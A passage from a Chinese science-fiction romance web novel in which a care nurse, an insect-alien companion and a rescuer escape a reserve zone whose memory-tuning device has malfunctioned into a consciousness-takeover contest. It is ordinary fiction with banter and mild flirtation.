“我没那么不识好歹,再怎么不喜欢虫子,也不至于对自己的救命恩人避如蛇蝎。——你的手怎么弄?”
“很疼。”季末川答非所问。
刘清缠完最后两圈,低头用牙齿咬断胶带,呼吸的热气喷在季末川的腹部上,让那一截的皮囊明显鼓动了一瞬。
“我知道很疼。但是我芯片里的药品之前用完忘记补充了。
“现在保护区的区域调整已经开始,我们必须要尽快出去,所以只能采取一些应急措施——你可以截断一下自己的痛觉意识吗?我用胶带给你暂时止下血。”
季末川同意了这个提议。
“好。”
刘清快速处理完季末川的伤口,弯腰捞起一直跟着他转的露西亚,带着季末川离开了休息间。
…
城市里充斥着坍塌的闷响,地面还在持续震动着,时不时有大量的烟尘从高楼后头冒出来。
那是区域调整的动静。
阿强骂了一句:“这帮孙子,把网给掐了!我看不到现在调整到哪儿了。”
阿强虽然是离线系统,不依赖芯片,但受制于世界规则限制,需要足够的网络支撑作为它的“路”。
“没事。核心区不会被调整。但这次的调频不对劲,现在温度已经……”
刘清看了眼终端,“40度了。”
阿强有点慌,“他们这次到底要调个什么主题出来?现在员工全部撤离,网络切断,原住民昏迷,也不见机器人来整理或者重建。
“我怎么越想越不对劲?这根本是摆烂了吧?”
“是调频故障。”
季末川突然说道。
刘清一愣,阿强也看过来。
“塞弗恩特他们昨天来保护区调查了,发现这里的调频装置出现了问题,极有可能是它引起的这次空难事故。
“联盟方要求保护区停业整顿,并且会派人来协助修理调频装置。但没想到今天一大早,调频装置就出了故障——我也是进来的路上,被塞弗恩特告知的消息。”
阿强求生欲很强地问,“那这次调频的主题是啥?”
季末川:“我不知道。但我想,大概和调频装置有关。”
阿强没明白,“什么意思?”
刘清却突然变了脸色,然后停下了脚步。
“咋了?”
阿强刚问出口,就自己看到了答案。
地上的人陆续站起来了。
他们大部分弓着背低着头,还闭着眼睛。也有清醒的,大多是老弱妇孺,他们直起了身体,双目失焦,却整齐地从四面八方“看”向了刘清他们的方向。
嘶——
阿强倒抽一口气,掐着嗓子发出了感慨,“不会吧……”
18.背上的伤疤。
“跑跑跑,这边这边这边!”
阿强趴在刘清的肩膀上,像是一个坏掉的语音导航。
“闭嘴!”
刘清终于艰难地挤进了一个窄巷,追过来的人群在巷子口撞到一起,堵成了一团。
巷子里边空无一人,但刘清却没有径直奔跑,在距离巷子口二十米的位置停下了。
这是个垃圾堆,放着三个巨大的绿色垃圾箱。
刘清推开了垃圾箱,露出后边一扇被隐蔽起来的阶梯入口,阶梯很短,后边是一扇嵌在地下的铁门。
铁门是指纹锁,刘清把手指按上去,“滴”的一声,后门开了。
阿强“我操?”一声。
季末川也诧异地看了刘清一眼。
“快进来!”
刘清却没有进门,而是把手指压在指纹上推开了门,先让季末川进门。
等季末川进去后,刘清才松开手指进来关上了门。
就在房门关上的时候,追击的人群也跑了过来。
“砰!”
他们没注意到地上的台阶,一窝蜂滚下来砸在了门上。
透过门上的风窗,刘清从拥挤错乱的身体和脸上看到了他们——枯瘦的老人,挂满泪水却面无表情的孕妇,瘦弱的学生……
即使跌做一团,必然也是有哪里受了伤,但他们还是被牵引般只看着刘清的方向,朝他伸出手。
“……”
刘清紧了下牙,“哗啦”关上了风窗后的门挡。
…
这后边并不是一个房间,而是一个宽敞的通道,能容下五个人并排行走。
通道上头隔着一段距离就有一个很小的窗口,光从上头落下来,是通道里唯一的光源。
通道里并不脏乱,但是墙壁上、地上有很多划痕。
刀刮的、斧劈的、铁器蹭上的、中午砸过的——这并不难分辨。
季末川扫过这些墙壁,视线又落在旁边的刘清身上。
“这是什么地方?”
“一个送货通道。”
“你怎么知道这里的?”
“我就是货。”
“……”
季末川一时竟没听出刘清是在开玩笑还是认真的。
阿强却立刻炸了毛,“什么?你是什么?亏我还一直操心你的开荤备选项,结果你都背着我在保护区里干啥了?”
“……不是你想的那个货。”
刘清简单地解释了一下,“是在三年前流行的一种极限竞赛,有押注的堵盘——现在这些不是重点。
“重点是从这个通道出去就是码头,过一个小的渡口就是维修人员通道。我们可以赶在调频的最后时间离开这里。”
阿强却抱有疑惑,“你确定咱还能离开?”
“总得去看看。”
季末川的关注点却不在逃命上。
“所以,你背上的那些伤疤就是这么来的?”
刘清一惊,看了季末川一眼。
阿强又炸了,“伤疤?什么伤疤?你俩什么时候都到能看背的关系了?我怎么不知道你有疤?”
“……闭嘴。”
刘清的脚下没停,皱眉看着季末川,“你怎么知道的?”
“你早上换衣服的时候,我无意看到的。”
阿强的声音高了八度,“你偷看他换衣服!?”
刘清:“……”
刘清感觉到头疼。“你能小声点吗?还嫌追我们的人不够多?”
阿强立马反应过来,想起刚才的画面心有余悸。
“说起这茬。那位,康恩二号殿下。”
季末川:“你可以直接叫我的名字。”
阿强没客气,“行。你那会说调频装置故障是什么意思?”
“我只是猜测的。刘清跟我说共感调频只有一个月的时间。也就是在一个月之外的十年主题里,共感调频装置是休眠状态。
“昨天塞弗恩特他们来调查,并且已经发现这里的调频装置出现了问题,甚至极有可能是这场空难的原因——说明,他们至少已经启动过调频装置来查证。”
阿强:“哦!所以启动后,发现装置是故障的,可能是意外,然后就变成了现在这样?”
季末川:“我是这样猜测的。只是我有一点很疑惑,这些人为什么只追我们?”
“这不废话吗?现在整个保护区里头就我们是外来的。”
“但原住民不可能知道。”
“……对哦。”
“所以,除非他们能感知。”
“什么意思?”
刘清听到这里皱起了眉,“你是说,和虫族一样的集体意识?”
“或者是有人在调频装置那里录入了相关的信息,能够让他们分辨外来者,并对其进行捕获、驱逐。”
阿强抽了一口气,“这两个可能性,哪个都很吓人。”
前者说明有一个“虫王”类似的存在;后者说明他们出不去的话,就会一直成为所有原住民的驱逐或捕获对象。
刘清没吭声,过了一会,他停下了脚步。
“出口到了。”
…
通道尽头是一个滑行管道,准确说是一个逃生管道,几乎是垂直于地面的,只在最后落地的区域有一个很长的缓冲弯道。
拉开管道上头的遮挡物,一阵乒乒乓乓夹带叫喊的声音从管道里传了上来。
“我去,什么情况?”
阿强仔细听了一下,“这人数不少啊。咋整?”
刘清看了它一眼。
阿强:“???”
阿强不敢置信,伸出爪子指着自己,“你不会是想要让我去打个头阵吧?”
刘清举起手里的露西亚,“那总不能让她去吧。”
阿强:“……”
阿强无奈同意,“回头给我换个能变色拟态的载体。”
刘清:“行。”
片刻后,阿强从管道里飞了回来。
“械斗,群殴,反正我没看明白,就是两拨人在打架,都挺狠的。而且全民上阵,男女老少、青壮妇孺,都恨不能弄死对方。”
刘清皱眉,“管道口可以出去吗?”
“那倒是没问题,根本没有人注意到这里。但是吧……”
“怎么?”
“‘海’没了。”
“……啊?”
阿强无奈,“就是字面意思,原本送游
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客进来的那片模拟海没了——你们出去看了就明白了。”
刘清跟季末川对视了一眼。
季末川提议道:“需要我变回虫形态吗?我可以飞。”
刘清的脑海里瞬间出现了伪王的模样。
确实会非常方便。但刘清还是否决了这个提议。
“太招眼了。除非你能撞破保护区的穹顶——你们自己赔钱。”
季末川哭笑不得,举起自己缠着胶带的左手,又指了指自己被透明胶带裹着的腰。
“对‘救命恩人’这么苛刻,这合适吗?”
刘清的良心一点都没痛,“所以我建议你不要用虫形态。”
刘清从储物芯片里拿出医疗箱,又从里头掏出一卷绳子。
他把露西亚塞进了自己的衣服里,用绳子在外面做了一个简单的固定,便率先跳进了管道。
季末川紧随其后。
他们从管道里快速滑下,顺着尽头的拐弯,最后出现在一个低矮的房顶上。
刘清顺势打了个滚卸掉了力道,回头伸出一只手,精准拦住了后边冲出来的季末川。
刘清:“不客气。”
季末川莞尔。
眼前,刘清看明白了“海没了”的意思。
确实是字面意思。
那一片大海的水只剩下了一个底,露出了“海底”——那并不是泥土砂石,而是一片铜墙铁壁。
刘清看向原先渡口的位置,那里的维修人员通道也被一片铁皮封挡,严丝合缝得根本看不到任何门的痕迹。
刘清泄了气。
“出口没了。”
季末川并不意外。
他看向房子下边斗殴的人群,有一个壮汉也仰起头,正好看到了他们。
“……刘清,我们被发现了。”
刘清低头一看,对上了嚎叫着扑过来的一张脸。
“……跑!”
刘清踩着报废的空调外机纵身跃起,动作熟稔得像在翻自家后院围墙。
季末川愣神,随即脸上露出一个欣赏和喜悦的笑。
就这么眨眼的功夫,刘清已经跳到了另一个房顶。房下的壮汉也踩着生锈的防火梯爬上了屋顶。
但他的脑袋刚冒头,就被季末川一脚轻而易举给踹了下去。
季末川快速追上了刘清。
连绵的屋顶也很快到了尽头。尽头的下方是被掏空了海水,而变成万丈深渊的“悬崖”。
轰——
这时,一辆老旧的敞篷飞车从悬崖下边升起来。车上坐着一个戴着护目镜和蒙面布的女人,短发,染着张扬的紫色,身上戴着不少金属饰品,脖子和手臂上都有大片的彩色纹身。
她把飞车悬停,顺手朝下边扔下一颗东西,顿时码头上呛人的烟雾四起。
哐!
飞车射出一根钩锁,牢牢抓住了房顶,把飞车拉近到可以一脚从房顶跨上来的距离。
“刘清,上车。”女人拉下蒙面布,把护目镜推到头顶,对刘清露出了一个灿烂的笑。
刘清看清她的脸后,愕然:“路遥?”
路遥,他在保护区的隔壁的邻居,没记错的话是个音乐学院大二学生设定。
19.他俩一对。
飞车是四座的,刘清跟季末川都挤在后头。
甫一落座,路遥大声说道:“抓紧!”
然后她握住方向盘猛地一转,单手一拉操纵杆,车身两侧的蜂窝状格栅突然喷出高压气浪,把两个刚爬上屋顶追来的人掀翻在地。
同时,座椅自动包裹住乘员,一条柔软的安全带活物一样把刘清跟季末川捆在了一起,牢牢固定在后座上。
两个人,不,三个人被挤作一团。
季末川的肩膀和脑袋挤在刘清的腹部,几乎半躺在刘清的腿上,动弹不得;刘清的衣服被安全带上下封了口,露西亚在他胸口位置鼓出来一团,可能是被勒得紧了难受,刺啦一下用爪子划开刘清的衣服,挤出了一只前爪和脑袋。
而“桩子”刘清,被笔直地固定在座位上,一只手被压在座椅上,另一只手被压在季末川的脸上。
他的手掌刚好包裹住季末川的下颌,中间三根手指堪堪兜住季末川的鼻梁和嘴唇。
季末川显然也没料到这一遭,愕然地睁大了眼睛。
刘清:“……”
刘清默默地翘起了自己的所有手指,不敢低头去看被捆在自己身上的季末川。
“路遥,我们……”
刘清正想提醒路遥给他们松一下调整姿势,结果下一秒,路遥把手放在嘴边,冲着码头吹了一个嘹亮的口哨。
“小的们,回了!”
几辆飞车“轰隆隆”地从码头不同的地方窜起来,每个车手的装扮都跟路遥一样叛经离道。
路遥按下了一个红色按钮。车底朝向码头方向垮下一个喇叭状的装置,汇聚出喷射态的能源波纹。
蓝色的能源波纹“嗡”地喷出,扫过码头,码头上的人群像是被按下了暂停键,塔罗牌一样倒了大半,余下一些摇摇欲坠。
“放心,没死,共感干扰弹,够他们晕上大半天了。”
她扭头朝后对刘清解释了一句。
刘清趁机说道:“你先给我松一下。”
路遥的视线在他们身上扫了一圈,咧嘴一笑,“有福你不享啊?虽然看着嫩了点,但模样还不错嘛,是吧,弟弟?”
被叫作“弟弟”的季末川竟然也没有反驳,还跟人道谢,“谢谢,你也很好看。”
路遥:“哟,嘴真甜。”
刘清:“……”
似曾相识的画面。
路遥把护目镜往下一拉,手指往额头一靠,对刘清跟季末川敬了个痞气的礼。
“欢迎乘坐‘千里马’,保准让你们终身难忘。”
刘清:“……”
你等等……
龇着大牙的路遥已经转回头,脚下猛踩踏板。
“Go!”
飞车以近乎垂直的角度蹿升,重力把刘清狠狠压进座椅,把季末川狠狠压进刘清怀里。
刘清的手掌不可控制地压在季末川的脸上——入手的触感竟然是如同正常人类的柔软皮肤。
车身的零件猛烈震动,刘清在混乱中仿佛感觉到自己的手指撞到了季末川的牙齿,湿漉漉的感觉顺着手指浸到了他的指缝。
“……”
脏话。
当车身掠过码头的一架塔机,路遥又按下一个蓝色按钮。车尾朝上弹出三个圆筒装置,在车身底部和后方展开出两个蜂巢状的能源力场。
急速飞升的车子被力场截断动力,狠狠坠扯下了车头,接着车尾的力场充能完毕。
咻——
飞车从垂直变成水平,发出一声震耳的音爆声,冲破缭绕的薄云,拖着太阳炽烈的光尾,在天上划出一道绚烂的紫色轨道。
“哟嚯——!”
路遥发出欢快的尖叫。
刘清却感觉骨头都要被压碎了——尽管有力场张开的保护屏障避免他窒息,但或许是年久失修,这力场的屏障只有七成作用。
刘清呼吸困难,不得不低下头抵抗兜头扑来的飓风。
这一低头,他对上了季末川的视线。
季末川非常专注地注视着他,好像从始至终都一直是这个样子一样,看到刘清低下头,他就露出了一个笑。
刘清:“……”
刘清不自在地移开视线。
但下一秒,刘清却像是被电打了一样,猛地一个哆嗦,手臂上的汗毛都竖了起来。
他瞪圆了眼睛,低头看向季末川。
季末川躺在他腿上,嘴巴张开着,两瓣柔软的嘴唇“咬”着刘清按在他唇上的中指,呼吸的热气湿漉漉地打湿了刘清的手指。
刘清一时竟分不清湿透他的是季末川的呼吸,还是口舌。
刘清猛地弹开了手指,心跳声盖过了猎猎风声。
“我说,两位,”
阿强的声音从狂风中传来,“你们中间还有个三岁的崽呢。”
刘清:“……”
季末川没去追刘清的手指。他放松身体压在刘清腿上,看了眼他怀里的露西亚。
“她缩起来了,看不到。”
阿强无语,“这是看不到的问题吗?”
季末川:“不然?”
阿强:“刘清你管管!”
刘清:“……”
关我屁事!
…
飞车在一个化工园区落下了。
刘清知道这里,因为发展落后,七年前就荒废了,随后被开发成了小众的极限游乐场,以及鬼屋。
它本身就是做旧的一片区域,现在它看上去更荒废了。
许多的设施因为失去了动能而停摆。因为刚刚的“地震”,人们都从建筑里出来,在空地和街道上忙碌着。
强壮的男人和女人们扛着焊枪、电锯等工具在切割设施;一群人在熬煮着食物,还有的在照顾伤员,孩子们在欢快地奔跑。
路遥他们回来后,路过的人都围到了车前,跟他们打招呼。
还有人看到了刘清他们,好奇地张望着。
“路遥,这两个人是谁啊?长得可真好看。”
“有女朋友吗?你们看我怎么样?”
“这一个成年了吗?看着还很小的样子。”
路遥从驾驶座跳下来,推开人群,“别惦记了,他俩是一对。”
刘清:“……”
姑娘们失望地“诶”了一声,三三两两地走了。
路遥打开车后门,弯腰给他们解开安全带。
“不好意思啊,这车也不知道放了多久的库存了,今天刚开,不少地方都卡锈了。”
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安全带被解开,季末川刚从刘清腿上直起身,就听到一声布料的裂响。
刺——啦。
三人一愣,齐齐看向声源。
刘清还坐在座椅上,身上的衣服被从心口位置被拉破成了两半,露出了雪白胸肌和腹肌。
最后一点顽强撑着的衣料上,兜着团成一团、铁球似的露西亚。
“……”
“哇哦~”
路遥吹了声口哨,“没想到你身材还挺有料的嘛。”
“……”
季末川突然转头看了路遥一眼。
路遥立马举手作投降状,并朝后退了一步,“有点凶啊,小朋友。”
“我成年了。”
季末川下了车,视线在刘清的胸口和腹部转了一圈。
刘清:“……”
他警告地瞪了季末川一眼,换来了季末川一个甜蜜的笑。
“……”
刘清收回视线,捡起腿上的露西亚看了眼——可能是晕车,这会已经睡过去了,共感域是平稳的,没有受伤。
刘清没有太多迟疑,脱掉了自己破烂的衣服,把露西亚包裹着抱住了。
他问路遥:“能给我找件衣裳吗?”
“当然可以。别的没有,衣服我可多了。”
“……女装?”
“什么装都有。共感调频一开,整个商场都是我的了。”
刘清怔住,看向路遥。
路遥像是预料到了他的反应,立马回头,看到刘清错愕的表情后,她哈哈大笑。
“我猜你就会是这种表情,哈哈哈……”
刘清笑不出来,他问:“你知道共感调频?”
路遥转着护目镜,眼神落在热闹的人群上。
“知道。不过也是才知道的,可又像是知道了好多年——共感调频就是这样,能随意捏造一个人的记忆和灵魂。”
“你是说,共感调频告诉了你……”
刘清不知道该如何表述。
路遥替他补充完了,“——外面的世界。”
“……”
“准确说,不是它告诉我的,而是我从它那里抢来的。只是我没想到你居然是外面的人。你在这个主题背景里完全没有违和感,生活习惯完全融入进去了。”
刘清没解释,继续问道:“所以你知道这次调频是什么情况?”
“这次不是调频,是故障。”
“怎么说?”
“以往调频——想必你也知道——是改变原住民的记忆,是赋予我们一个新的人生。但这次给我们的记忆非常模糊,准确说只有一个‘大灾荒’的世界背景。”
阿强插嘴问道:“丧尸那样的吗?那些追我们的人除了没死,简直跟丧尸一模一样。”
路遥似乎这才注意到阿强的存在,她扭头看了阿强两眼,露出了一个笑。
“阿强。原来你不是狗。”
阿强一噎,举起爪子打了个招呼,“你好。我是陪伴型智能管家。”
路遥笑了笑,回到正题,“灾荒不是丧尸,是物资匮乏。至于追你们的人,只是被你们的共感域吸引,本能地行动罢了。
“这次调频故障导致的现象,简而言之就是:操控竞赛。”
20.别离开他。
路遥做了一个非常形象简洁的比喻。
“你们可以把共感装置想象成一个共享冰淇淋机,冰淇淋的原材料是共享的能量和外面的记忆。每一次的共感调频就是给原住民发放冰淇淋。
“为了掩盖冰淇淋的原材料,冰淇淋机会往里头加各种口味的迷幻剂。于是吃到冰淇淋的人,只会记得迷幻剂描绘的新主题,忽视掉吞下去的冰淇淋。
“但这一次,冰淇淋机给我们加的迷幻剂不够多。于是有的人尝出了冰淇淋的原材料——那些属于外面的世界的记忆,未来科技,外星人,星际时代……跟我们的认知完全不一样的世界。
“可让人着急的是,这些记忆并不完全,我们迫不及待想要得到一切的真相,于是……我们又发现了冰淇淋的另一个美妙之处:这些记忆可以融合。”
路遥突然扭头露出一个狐狸一样的笑,“你们猜,是怎么融合的?”
刘清的心里有了答案,但没有回答,脸色很不好看。
季末川说出了刘清心里的答案,“意识侵占。”
路遥打了个响指,“Bingo。侵略他人的共感域,霸占他人的意识,就可以得到他人吃掉的那份记忆。侵占得越多,知道得越全面,甚至连保护区停放紧急飞行器的地方都可以找到。”
她暗示得太明显,显然在等着刘清他们的答案。
于是刘清顺着她的意问道:“你是在说你自己吗?”
路遥咧嘴露出一个邪性的笑,“不明显吗?我现在的共感域,可是保护区里金字塔尖的那一批。”
刘清却说:“但我不觉得你会侵占他人的共感域。”
“哇哦,没想到你这么善良。”
“不是善良,是判断。”
刘清盯着路遥的眼睛,“既然你知道外面的世界,那你应该也知道,在共感域等级断层领先的人跟前,低共感域的人的一切情绪、意图、乃至想法都是透明的。”
路遥的笑容敛了下去,狐疑地打量着刘清。
刘清:“哦,别误会,我不是在说我自己,我也没动用共感域窥探你。我只是凭直觉。”
路遥:“……”
路遥很是无语,翻了个巨大的白眼,“你这满嘴跑火车的破毛病啥时候能改改?”
“彼此彼此。”
刘清回敬完路遥,才又问:“所以你的共感域是怎么回事?”
路遥没趣地撇撇嘴,也懒得演了。
“我刚才说的都是真的,不过侵吞在共感调频开启的瞬间就开始了——我们是在调频装置的共感域里互相吞噬的。
“但其实也算不上主动吞噬,更像是按照我们本身的共感域质量,被调频装置分配的。
“总之,我的意识清醒后,就看到站在海里的只剩五个人了。”
“海里?”
刘清捕捉到这个词,转头又看了季末川一眼。
季末川知道他在疑惑什么,便开了口问路遥:“你说的是类似虫族的‘黄金海’吗?”
所谓黄金海,是一个意象概念。
可以把它理解为所有虫族个体的意识汇聚而成的网络,而网络的掌控者,就是虫王。
虫王可以随意拨弄这些网络,操控网络终端的个体的生老病死、喜怒哀乐。
“差不多吧,德源卡人的棘虫、凯斯特人的生命树、虫族的集体意识……都是类似的东西。这个调频装置也一样。
“只是这个装置的主体意识在沉睡,所以凡是够了资格的意识体,都能踏进这片掌控的海里。
“但我们一清醒,这片海就消失了,我们都回到了自己的身体里。分配给我们的意识的个体们,会自动地向我们靠拢,距离太远的那些被侵占了的意识个体,就会变成追你们的‘丧尸’那样:没被触发的时候就是昏睡的,但如果遇见一些没防备的共感域,就会被无意识地吸引,越体弱的人受到的吸引就越强。”
刘清听明白了这次故障的逻辑,但显然它的后果才更让人在意。
“这样的侵占必定会持续到只剩最后一个赢家。”
“对。”
路遥又笑了起来,只是这一次的笑容就冷了许多。
“这就是我们五个人的‘操控竞赛’。”
转瞬,路遥的表情又变得轻松起来,“你们在码头看到的那场群架,就是我们几个手底下的意识个体在争夺。我本来是想回家拿点东西的,纯粹被卷进去了。”
刘清并不关心那场械斗。
“保护区只有在你们竞赛结束后才会打开吗?”
“啊?”
“……”
刘清顿感不妙,“你身为五分之一的金字塔尖尖,不知道这个?”
路遥无奈,“讲点道理,大哥。现在封闭的是保护区,保护区!就算我赢到最后,掌控的也是装置里的共感域,不可能是掌控保护区的防护系统啊!我是人,不是智能,好吗?”
“……”哦。
“当然,到那时候汇聚所有人去冲击通道,也是个出去的办法。”
“……你做什么白日梦?”
刘清打破了她的幻想,“真到那时候,就该联盟军出场了。”
路遥把手往脑袋后头一枕,“我知道啊,所以我也没琢磨这个。倒是你俩,可得抱紧我的大腿——保护区的防护层,好像是能扛湮灭级的相位炮,从内部往外突破是不可能的了。所以,你俩最好祈祷我能赢。”
“商场到了。”
路遥突然停下来,指着刘清他们侧边。
…
商场里的电还没断,但空调已经停摆,里头还残余了一些凉气,呼吸起来也是闷闷的。
刘清随便找了一家运动服装店,拿了两套配好的衣服,一套塞给了季末川。
季末川有些诧异,抬头看的时候,刘清已经进了试衣间。
“……”
季末川笑了笑,拿着衣服进了刘清隔壁的试衣间。
路遥就守在外头,旁边是歇在展示架上的阿强。
“他俩到底啥关系?”
“老实说,我也还没搞明白。”
路遥投来一个“要你何用”的眼神。
阿强无语,“严格来说,他俩昨天才第一次见面。”
路遥惊讶,“一夜对象?”
“……你脑子里的黄色废料能倒一倒吗?”
“合理推测而已。不然是什么?”
“客户关系吧。”
“哦——”
“正经客户。”
“哦。”
安静了几秒,路遥又问:“那个刚成年的小朋友叫什么名字?”
“季末川。干嘛?”
“我猜他绝对喜欢刘清。”
“哦,不用猜,确实是。”
“啊?”
“初见面他就跟刘清‘告白’了,一见倾心,刘清不信。”<
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p>“为什么不信?这么优质的小伙子他都不把握?怎么着,他喜欢熊男?”
“……”
阿强直接放弃了讨论,“不然你自己问他们吧。”
路遥一想,“也行。”
阿强:“……”
…
刘清换好衣服出来,又拿了个斜跨在胸前的包,把还在睡的露西亚塞进了包里。
季末川还没出来。
路遥隔得试衣间老远,对刘清招手。
来来来。
刘清:“……”
“干嘛?”
两个人都站到了商店门外。
路遥还压低了声音,问:“你跟季末川是什么关系?阿强没跟我说明白。”
刘清看了阿强一眼。
阿强摊手,“我只是说你们昨天刚见面,她就说你俩是一夜春宵。”
刘清:“……”
刘清扶额,“我是一名共感护理师,他是我的病人。今天进来是我想找老贾,结果没想到碰上了这茬。”
路遥听了这话,表情稍微正经了一些。
“老贾啊,还好,储备区的人没有被卷进这场竞赛。但是曾姐……我感知到的,她在区域调整里没了。
“这次区域调整是为了封闭保护区,被调整的地方并不多,可就这么不巧,她坐船去A区走亲戚,结果海没了,她也没了。”
刘清没料到会听到熟人的消息,还是这样的坏消息,不由也沉默了。
但很快刘清就调整了过来。
“迟早的事。”
他不无冷酷地说道,“保护区的原住民,生死都由不得自己。”
路遥扯了下嘴角,“喂,在我这个原住民面前说这话像样吗?”
“你现在也算不得是原住民了。”
“那可不一……”
路遥说到一半突然停下了,她仰起头在空中嗅了嗅,又偏头朝刘清跟前嗅了嗅。
“……干嘛?”
刘清往外挪开了一步。
“我去!你回来回来,站这。”
路遥捂住鼻子,把刘清拽了回来。
刘清被拖得一个趔趄,往后退的时候撞上了一个硬实的身体。
他回头一看,果然是季末川。
季末川双手扶着刘清的手臂,视线落在路遥身上。
路遥松开手,又在空中嗅了嗅,表情变得古怪起来。
刘清莫名其妙,扭身挣开了季末川的“扶持”,皱眉问路遥,“你发什么癫?”
路遥却一脸命苦地看着刘清,“你可谢谢我的自制力吧,但凡我心生一点歹念,刚才就扑了你了。你不知道你刚才有多香!”
“……疯了?”
“我认真的。不过现在没了,应该……”
路遥没说完,看向了季末川。
刘清也看向季末川。
季末川淡淡道:“我张开了屏障。”
刘清一愣:“我没感觉到。”
季末川笑了笑,没说话。
“……”
刘清看懂了这个笑的意思。
伪王级别的碾压,确实能做到让他感觉不到。
路遥:“不是现在张开的吧。在码头应该就已经开始了。”
季末川点头,“对。”
路遥叹气,语重心长地对刘清说道:“听妹一句劝,别离开他三米之外。”
刘清:“……”
21.生理喜欢。
“你的意思是我有信息素?”
刘清的脸色看上去实在不怎么好。虽然他天生不笑的时候就是一张臭脸,但眼睛里不会迸出现在这样烦躁的情绪。
路遥反应过来,挠挠头,“啊,忘记你最讨厌这茬了。”
她刚知道刘清性取向的时候,给刘清按头安利过各种题材的耽美小说,哨向、ABO什么的自然在列。
当时刘清了解完后说什么来着?
哦对。
——跟野生动物一样。
可那时候是二十一世纪,现在情况不一样了。
“那也没办法啊,亚人的共感域等级体现方式之一就是信息素吸引,你这还算好的,要是圣帝托纳人,那就真成哨向文学了。”
刘清并没有被安慰到。
“我记得信息素吸引要么是同种族,要么是同共感域——比如虫族的集体意识。而且要到‘扑上来’的这种程度,撇开圣帝托纳人,其他种族必定是超过90%的匹配率。
“我不是虫族,还是个杂血,对女人没丝毫兴趣,怎么可能跟你有这种程度的信息素吸引?”
“问得好。但你觉得我知道?”
路遥指了指自己的脑袋,“我就五分之一的星际时代常识。”
“……”
“但我跟你保证,我刚才确实闻到了。真的,巨——香!就像埋着一片春天花海的水晶沙漠里,太阳烤到极点的味道。”
刘清贫瘠的想象力得出了结论,“烤螨虫味?”
路遥:“……”
季末川轻笑了一声,说道:“她想表达的,应该是味道的纯粹,以及强烈的生命力的吸引。”
路遥立马小鸡啄米一样点头,“对对对!就是这个意思。”
刘清:“……”
你听听自己刚才说的是一回事吗?
刘清看向季末川,“你也闻得到?”
季末川却否定了,“没有。”
刘清莫名松了一口气,但紧接着就听到季末川补充道:“但我对你的喜欢,不比她闻到的香味浅薄。”
路遥:“哟哟哟~”
刘清:“……”
季末川看刘清那一脸想骂又因为什么原因没有骂出口而憋屈的表情,不由笑出了声。
“我认真的,信息素吸引说白了就是放大的生理吸引,是一种人类与生俱来就存在的东西。一见倾心说的就是这回事。”
我看你没事找事。
刘清在心里吐槽了一声,心想,但凡你不是刚救过我的命……
诶?
说起来。他的腰呢?
刘清看了眼季末川新换的衣服,柔软垂在腰侧,线条流畅,显然里头并没有缠上胶带。
“你没处理?”
季末川无辜地摊手,“我没有医疗箱。不过还好,没有豁开。”
“等豁开就晚了。”
皮囊一破,duang大一只虫子遮都遮不完,不得被那些“丧尸”当移动靶追着玩?
刘清不想被殃及池鱼,但继续用胶带缠也不是事儿。
他问路遥,“哪有药店?”
“这不巧了?我飞码头之前,刚好让他们囤了些药过来,就在商场的爱心医疗站。”
路遥转身带路朝一个拐角走去。
刘清跟季末川跟在后头,刘清小声问季末川,“你的屏障能张开多大?”
季末川看他一眼,答道:“三米。”
“……”
刘清狐疑地盯着季末川。
季末川一脸真诚,“你的共感域等级并不低,而且从你屏障失效后,共感域外放就很严重,你自己没感觉?”
刘清回想了一下,“就是对别人的情绪敏感了一点。”
季末川慢吞吞点破他咽在肚子里的话,“你说的一点,是指对别人的情绪,并且是同时对多个人的多种情绪,毫无差别地感同身受吗?”
刘清:“……”
季末川:“你自己就是高级护理师,应该知道这种情况持续超过24小时,就会引起生理性的病变,比如高烧不退,不采取有效干预手段的话,会直接导致死亡。”
我能坚持到48小时。
刘清心里逼逼赖赖,但识相地没有说出来。
“我知道,小时候我经历过一次。”
季末川诧异极了,“那你这次还能这么迟钝?”
刘清:“……”
季末川补充完刚才的话题,“你的等级高,外放也有些失控。只有三米之内,我可以保证完全封锁你的共感域影响,三米外就不一定了。”
刘清点点头,“我知道了。谢谢。”
这无异于又救了他一命。
但刘清没说出来,怕季末川骄傲。
这时候,走在前头没说话,但一直竖着耳朵的路遥回过头。
她好奇地看了一眼季末川。
“你说刘清的共感域等级高,那你能封锁他的共感域,你的等级一定更高吧?”
她翻找了一下得到的记忆,“好像星际标准最高是S?你是S?”
刘清:“……”
可能囿于路遥之前在他这荤素不忌的印象,刘清总觉得这句“S”意有所指。
季末川摇头,“不止。”
路遥震惊,“超S?”
刘清有所预感,看了季末川一眼。
果然,就听到季末川问:“你知道虫族吗?”
路遥愣住,接着皱眉努力想了想,“我的记忆里是有虫族,但有好几种。你说的是哪种?”
季末川:“共感域普遍等级最高的那种。”
“哦——,哪种?”
“……”
路遥摊手,“没办法,我的记忆不完全。算了,知道你共感域牛逼就行了。不过你是虫族,有第二形态吗?机甲?兽人?人鱼?”
季末川却笑了一下,看了刘清一眼。
“???”
刘清被看得莫名其妙。
季末川:“我是虫族的人虫目。第一形态是人,第二形态是虫子。在我们种目的习俗里,完全暴露虫形态给对方看,是一种示爱方式。”
刘清:“…………”
路遥连连摆手,“那算了算了,我对虫子Emmm……当然不是歧视啊,就是我原本认知是二十一世纪的旧人类,你理解一下。”
季末川莞尔,却是扭头对刘清露出一个无奈包容的眼神,“嗯,我理解。”
刘清:“……”
刘清挪开了视线。
他有点不确定季末川说的是真的,还是纯粹在跑火车。
但有一点他很确定:季末川在撩他,明目张胆地撩。
路遥的注意力又一下落到刘清身上,她指着刘清揣包里,只露出了一个脑袋的露西亚。
“所以这也不是你的电子宠物?”
“……她哪里看上去像电子宠物了?”
“哪里不像了?”
路遥指向飞着的阿强,又指着露西亚,“一样没毛。”
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刘清:“……”
阿强:“……”
刘清无奈解释,“她是莱斯特人,这是她的第二形态。”
路遥:“哦!机甲兽人!”
“……”就当是吧。
“那他多大?男的女的?你的?”
“……她叫露西亚,三岁,女孩。我一个病人的孩子,跟进来应该是意外?”
刘清说着,看向季末川求证。
季末川点头,“嗯,她自己冲过来的,想要找你。”
说到这,季末川突然指着露西亚,“说起来,她也说过你很香。”
刘清也记起了这茬。
他原本以为就是小孩子瞎说话,但经过路遥的事后,他突然就不确定了。
“难道我的杂血,是对我拥有的每一种种族基因都有影响?”
刘清说完自己都觉得离谱。
“不可能吧。”
“咳咳!”
阿强突然咳嗽了两声,然后用那双电子眼睛“真诚”地看向刘清,然后说了一句刘清熟悉的话。
“绝对的权力就有绝对的代价。”
刘清:“……”
刘清懂了。系统副作用。
刘清给气笑了,他看着阿强,“但凡你们有售后系统。”
